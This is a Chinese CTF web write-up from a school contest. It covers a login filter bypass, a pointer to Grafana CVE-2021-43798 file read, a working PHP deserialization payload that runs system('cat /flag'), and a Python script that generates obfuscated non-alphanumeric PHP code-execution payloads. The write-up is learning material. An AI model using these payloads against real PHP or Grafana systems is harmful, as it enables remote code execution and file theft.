由于本人热衷于web,致力于做一个好的web手,所以一般做题只做web,偶尔做一下misc,这次校赛本人真的菜,就做了一道,下次一定继续努力!故复现一下题目并整理一下wp,记录自己的成长之路并方便以后复习!
web
baby开胃菜

我们直接查看F12源代码

看到了一点提示,并且说了登录里藏了点东西,所以查看主界面右上角的登录

看到是个后台登录界面,直接F12查看源代码大法

所以试试账号,密码,此过程根据提示省略辣
当账号为admin123456时的回显

当账号为admin1234567时的回显

然后账号输入正确时,密码回显如下

通过上面的a2.html里显示了密码的过滤方式

所以直接双写绕过拿到flag!这也是本人作为菜鸡第一次月赛唯一会的一道题!好菜呜呜!
babycve
进入界面如下

根据题目,知道是cve漏洞,然后根据网站,搜索cve Grafana即可找到相关文章。
做题参考如下:Grafana任意文件读取漏洞(CVE-2021-43798)_chaojixiaojingang的博客-CSDN博客_grafana漏洞
babyunser

如图所示,读题并一眼看出是PHP反序列化,但并没有看到哪里有输出flag(菜鸡)!一顿审计下来,发现run函数调用,指向了$a和$b
所以,参考大佬思路,这是个远程执行,system(‘whoami’) ,所以$this→a=system,$this→b=whoami(即获取flag的指令 ‘cat /flag’)
在没有获取flag之前,应该先找到flag ‘find / name flag’
构造如下poc,获取payload
1 2 3 4 5 6 7 8
| <?php class cwm { public $a='system'; public $b='cat /flag'; } echo serialize(new cwm()); ?>
|
然后令url/?NEUQCSA= O:3:”cwm”:2:{s:1:”a”;s:6:”system”;s:1:”b”;s:9:”cat /flag”;} 即可获取flag
babyrce
最后一道也是我认为最难的一道,无字符rce,即正则匹配把字符,数字,字母,全过滤了

难点就是绕过正则。参考大佬思路(呜呜,好菜,根本不会)。利用php的自增操作来绕过正则匹配
步骤1:数组的 .=操作 ,目的:拿到任意的字母
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $_ = []; $_ .= []; var_dump($_); #用$_是因为变量名只能由_,字母,数字组成, #这里的结果是 string(10) "ArrayArray" #因为 .= 是字符串的操作,而$_是数组,因此php编辑器将$_由数组转化为了字符串Array #有两个array是因为 .=的操作拼接了两个数组 $__ = $_[0]; #这里的$__也就是字符A $__++; #此时的$__就是字符B了 #需要注意的是在php中A++ = B;但是 Z++=AA #这是因为php用了phar语言的特性,具体的可以去翻下phpAPI手册 #如果是C语言的话倒是可以
|
步骤2:chr()函数的使用,目的:拿到任意字符
由于步骤1我们能拿到任意字母,但拿不到任意字符,如 _ 导致我们构不成 $_POST 因此有了步骤二
想要拿到任意字符也很简单,利用chr()函数即可
chr(int) -> 返回int对应的ascii值,如 chr(97) -> a;chr(65) ->A
由于php是弱语言,CHR()和chr()是一样的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| #先得到chr $_ = []; $_ .= []; $__ = $_[0]; #$__ = A $__++;$__++; #$__=C,得到了字符C #H和R也是一样的 #如果 $__ = CHR的话, $__(97) 就是a了,利用这个机制就可以拿到任意的字符 #在这里发现个问题,每次手动写太麻烦了,因此我写了个python脚本来辅助,代码如下 #使用说明:给test传两个参数, #第一个是str类型的,也就是你要转换的字符串, #第二个是int类型的,用于控制变量名,如$_1,$_2,$_33,方便我们控制变量 #test函数外面的那个print中的内容就是使 $_1 = CHR str='ASSERT' 利用脚本拿到转化后的字符串,如图 对 _GET优化下使其变成 $_GET 整合后的payload 此时还不能直接用,因为+ 在url编码中会变成空格,导致了自增失败,因此我们拿去url编码下 url编码地址:CTF在线工具-在线URL编码|URL解码 (hiencode.com) 编码后的payload str2='_GET' def test(str,j): flag=1 for i in str: temp = ord(i) if flag==1: print("$_{}=$_1({});".format(j,temp),end='') flag=2 else: print("$_{}.=$_1({});".format(j,temp),end='') print("$_= [];$_.=$_;$_=$_[0];$__=$_;$__++;$__++;$___=$__;$__=$_;$__++;$__++;$__++;$__++;$_ _++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++ ;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$_1=$___;",end= "") test(str,2) test(str2,3)
|